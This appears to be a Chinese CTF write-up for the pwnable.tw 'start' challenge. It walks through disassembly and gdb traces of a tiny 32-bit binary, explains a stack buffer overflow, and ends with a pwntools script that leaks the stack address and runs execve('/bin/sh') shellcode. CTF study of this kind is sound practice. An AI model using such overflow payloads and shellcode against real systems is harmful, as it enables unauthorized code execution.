pwnable.tw-100-start
tags: ctf,writeup,pwn
pwnable.tw-100-start
1. 代码分析
1.1 文件信息
这是一个32位的Elf文件
$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
checksec显示未开启任何安全保护机制
$ checksec start
[*] '/home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
1.2 汇编代码
使用r2分析汇编,只有一个entry0入口函数。
$ r2 start
Warning: Cannot initialize dynamic strings
[0x08048060]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x08048060]> afl
0x08048060 1 61 entry0
[0x08048060]> pdf
;-- section..text:
;-- _start:
;-- eip:
/ (fcn) entry0 61
| entry0 ();
| 0x08048060 54 push esp ; [01] -r-x section size 67 named .text
| 0x08048061 689d800408 push loc._exit ; 0x804809d ; "\1\xc0@\u0340\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
| 0x08048066 31c0 xor eax, eax
| 0x08048068 31db xor ebx, ebx
| 0x0804806a 31c9 xor ecx, ecx
| 0x0804806c 31d2 xor edx, edx
| 0x0804806e 684354463a push 0x3a465443 ; 'CTF:'
| 0x08048073 6874686520 push 0x20656874 ; 'the '
| 0x08048078 6861727420 push 0x20747261 ; 'art '
| 0x0804807d 6873207374 push 0x74732073 ; 's st'
| 0x08048082 684c657427 push 0x2774654c ; 'Let''
| 0x08048087 89e1 mov ecx, esp
| 0x08048089 b214 mov dl, 0x14 ; 20
| 0x0804808b b301 mov bl, 1
| 0x0804808d b004 mov al, 4
| 0x0804808f cd80 int 0x80
| 0x08048091 31db xor ebx, ebx
| 0x08048093 b23c mov dl, 0x3c ; '<' ; 60
| 0x08048095 b003 mov al, 3
| 0x08048097 cd80 int 0x80
| 0x08048099 83c414 add esp, 0x14
\ 0x0804809c c3 ret
可以把这段汇编代码分成几个部分:
1.2.1 起始
把现在的esp和_exit push到栈上,以用于被调函数结束时能返回到调用函数。
| 0x08048060 54 push esp ; [01] -r-x section size 67 named .text
| 0x08048061 689d800408 push loc._exit ; 0x804809d ; "\1\xc0@\u0340\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
1.2.2 清零寄存器eax,ebx,ecx,edx
| 0x08048066 31c0 xor eax, eax
| 0x08048068 31db xor ebx, ebx
| 0x0804806a 31c9 xor ecx, ecx
| 0x0804806c 31d2 xor edx, edx
1.2.3 把字符串"Let’s start the CTF:“push到栈上
| 0x0804806e 684354463a push 0x3a465443 ; 'CTF:'
| 0x08048073 6874686520 push 0x20656874 ; 'the '
| 0x08048078 6861727420 push 0x20747261 ; 'art '
| 0x0804807d 6873207374 push 0x74732073 ; 's st'
| 0x08048082 684c657427 push 0x2774654c ; 'Let''
1.2.4 执行系统调用sys_write
| 0x08048087 89e1 mov ecx, esp
| 0x08048089 b214 mov dl, 0x14 ; 20
| 0x0804808b b301 mov bl, 1
| 0x0804808d b004 mov al, 4
| 0x0804808f cd80 int 0x80
根据系统调用参照表http://syscalls.kernelgrok.com/, eax为4时,系统调用为sys_write, 寄存器与参数的关系为
Name | eax | ebx | ecx | edx |
---|---|---|---|---|
sys_write | 0x04 | unsigned int fd | const char __user *buf | size_t count |
所以这段汇编实际为
sys_write(1, "Let's start the CTF:", 0x14)
1.2.5 执行系统调用sys_read
| 0x08048091 31db xor ebx, ebx
| 0x08048093 b23c mov dl, 0x3c ; '<' ; 60
| 0x08048095 b003 mov al, 3
| 0x08048097 cd80 int 0x80
Name | eax | ebx | ecx | edx |
---|---|---|---|---|
sys_read | 0x03 | unsigned int fd | char __user *buf | size_t count |
sys_read(0, &ecx, 0x3c)
这里我对ecx其实有一些疑惑,按理说这里的ecx应该还是之前的值。
可以用gdb证实下,在0x08048097处(第二次系统调用)下断点。
gdb-peda$ b *0x08048097
Breakpoint 1 at 0x8048097
可以发现,在执行系统调用前,ecx指向的值是字符串"Let’s start the CTF:"。
gdb-peda$ r
Starting program: /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start
Let's start the CTF:
[----------------------------------registers-----------------------------------]
EAX: 0x3
EBX: 0x0
ECX: 0xffffd214 ("Let's start the CTF:\235\200\004\b0\322\377\377\001")
EDX: 0x3c ('<')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd214 ("Let's start the CTF:\235\200\004\b0\322\377\377\001")
EIP: 0x8048097 (<_start+55>: int 0x80)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048091 <_start+49>: xor ebx,ebx
0x8048093 <_start+51>: mov dl,0x3c
0x8048095 <_start+53>: mov al,0x3
=> 0x8048097 <_start+55>: int 0x80
0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
0x804809d <_exit>: pop esp
0x804809e <_exit+1>: xor eax,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd214 ("Let's start the CTF:\235\200\004\b0\322\377\377\001")
0004| 0xffffd218 ("s start the CTF:\235\200\004\b0\322\377\377\001")
0008| 0xffffd21c ("art the CTF:\235\200\004\b0\322\377\377\001")
0012| 0xffffd220 ("the CTF:\235\200\004\b0\322\377\377\001")
0016| 0xffffd224 ("CTF:\235\200\004\b0\322\377\377\001")
0020| 0xffffd228 --> 0x804809d (<_exit>: pop esp)
0024| 0xffffd22c --> 0xffffd230 --> 0x1
0028| 0xffffd230 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048097 in _start ()
gdb-peda$ s
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
执行系统调用后,即变为我们输入的一连串A
[----------------------------------registers-----------------------------------]
EAX: 0x1d
EBX: 0x0
ECX: 0xffffd214 ('A' <repeats 28 times>, "\n")
EDX: 0x3c ('<')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd214 ('A' <repeats 28 times>, "\n")
EIP: 0x8048099 (<_start+57>: add esp,0x14)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048093 <_start+51>: mov dl,0x3c
0x8048095 <_start+53>: mov al,0x3
0x8048097 <_start+55>: int 0x80
=> 0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
0x804809d <_exit>: pop esp
0x804809e <_exit+1>: xor eax,eax
0x80480a0 <_exit+3>: inc eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd214 ('A' <repeats 28 times>, "\n")
0004| 0xffffd218 ('A' <repeats 24 times>, "\n")
0008| 0xffffd21c ('A' <repeats 20 times>, "\n")
0012| 0xffffd220 ('A' <repeats 16 times>, "\n")
0016| 0xffffd224 ('A' <repeats 12 times>, "\n")
0020| 0xffffd228 ("AAAAAAAA\n")
0024| 0xffffd22c ("AAAA\n")
0028| 0xffffd230 --> 0xa ('\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048099 in _start ()
1.2.6 esp+=0x14;ret
esp加0x14,然后ret
| 0x08048099 83c414 add esp, 0x14
\ 0x0804809c c3 ret
2. 漏洞分析
ret会返回控制流到栈顶的指针指向的地址
第二个系统调用允许输入0x3c个字符, 可以覆盖到esp+0x3c, 而ret前最后esp只增加0x14。 因此,如果我们的输入将esp+0x14之后的数据覆盖,即可以修改程序的控制流。
但是有个问题是,esp的值是无法预测的
2.1 操作系统开启了ASLR, 每次运行基地址不同
st0n3@kali:~/ctfs/pwnable.tw/100_Start/challenges$ r2 -d start
Process with PID 29040 started...
= attach 29040 29040
bin.baddr 0x08048000
Using 0x8048000
Warning: Cannot initialize dynamic strings
asm.bits 32
glibc.fc_offset = 0x00148
[0x08048060]> dm
0x08048000 - 0x08049000 * usr 4K s r-x /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start ; map.home_st0n3_ctfs_pwnable.tw_100_Start_challenges_start.r_x
0xf7f71000 - 0xf7f74000 - usr 12K s r-- [vvar] [vvar] ; map.vvar_.r
0xf7f74000 - 0xf7f76000 - usr 8K s r-x [vdso] [vdso] ; map.vdso_.r_x
0xffbce000 - 0xffbef000 - usr 132K s rwx [stack] [stack] ; map.stack_.rwx
^D
Do you want to quit? (Y/n)
Do you want to kill the process? (Y/n)
st0n3@kali:~/ctfs/pwnable.tw/100_Start/challenges$ r2 -d start
Process with PID 29045 started...
= attach 29045 29045
bin.baddr 0x08048000
Using 0x8048000
Warning: Cannot initialize dynamic strings
asm.bits 32
glibc.fc_offset = 0x00148
[0x08048060]> dm
0x08048000 - 0x08049000 * usr 4K s r-x /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start /home/st0n3/ctfs/pwnable.tw/100_Start/challenges/start ; map.home_st0n3_ctfs_pwnable.tw_100_Start_challenges_start.r_x
0xf7f68000 - 0xf7f6b000 - usr 12K s r-- [vvar] [vvar] ; map.vvar_.r
0xf7f6b000 - 0xf7f6d000 - usr 8K s r-x [vdso] [vdso] ; map.vdso_.r_x
0xffbb4000 - 0xffbd5000 - usr 132K s rwx [stack] [stack] ; map.stack_.rwx
2.2 关闭ASLR,不同机器分配的基地址不同,但栈地址不同
2.3 gdb-peda可能关闭了ASLR
因此还需要利用sys_write来泄露esp
3. 漏洞利用
from pwn import *
context.log_level = 'debug'
shell_code = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
r = process("challenges/start")
r.recvuntil("Let's start the CTF:")
# change execute flow to "mov ecp esp"
r.send("A"*0x14 + p32(0x08048087))
# stack info leak
esp = u32(r.recv(4))
print hex(esp)
# execute sys_read again
r.send("A"*0x14 + p32(esp+0x14) + shell_code)
r.interactive()